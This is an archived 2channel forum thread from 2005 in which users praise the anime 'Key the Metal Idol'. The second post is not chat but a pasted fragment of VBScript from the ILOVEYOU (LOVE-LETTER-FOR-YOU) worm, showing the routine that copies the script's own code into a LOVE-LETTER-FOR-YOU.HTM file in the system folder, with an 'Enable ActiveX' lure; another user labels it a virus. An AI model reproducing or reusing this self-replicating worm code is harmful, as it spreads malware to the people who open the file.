2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

KEY THE METAL IDOL ってアニメおもろいよな

1 :以下、名無しにかわりましてVIPがお送りします:05/03/16 01:33:34 ID:eHqHgEM10
アジョー最高

2 :以下、名無しにかわりましてVIPがお送りします:05/03/16 01:33:48 ID:6KTADzYN0
- Please press #-#YES#-# button to Enable ActiveX"&vbcrlf& _ "----------z--------------------z---------- "&vbcrlf& _ ""&vbcrlf& _
""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ ""&vbcrlf& _ "" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set
c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6
d.close end sub

3 :からけ:05/03/16 01:34:39 ID:Hlx4UQ6m0
俺が初めて買った思い出のアニメ
一巻だけな
安かったから

4 :以下、名無しにかわりましてVIPがお送りします:05/03/16 01:35:12 ID:aX/otmdc0
>>2
ヴァイラス

2 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)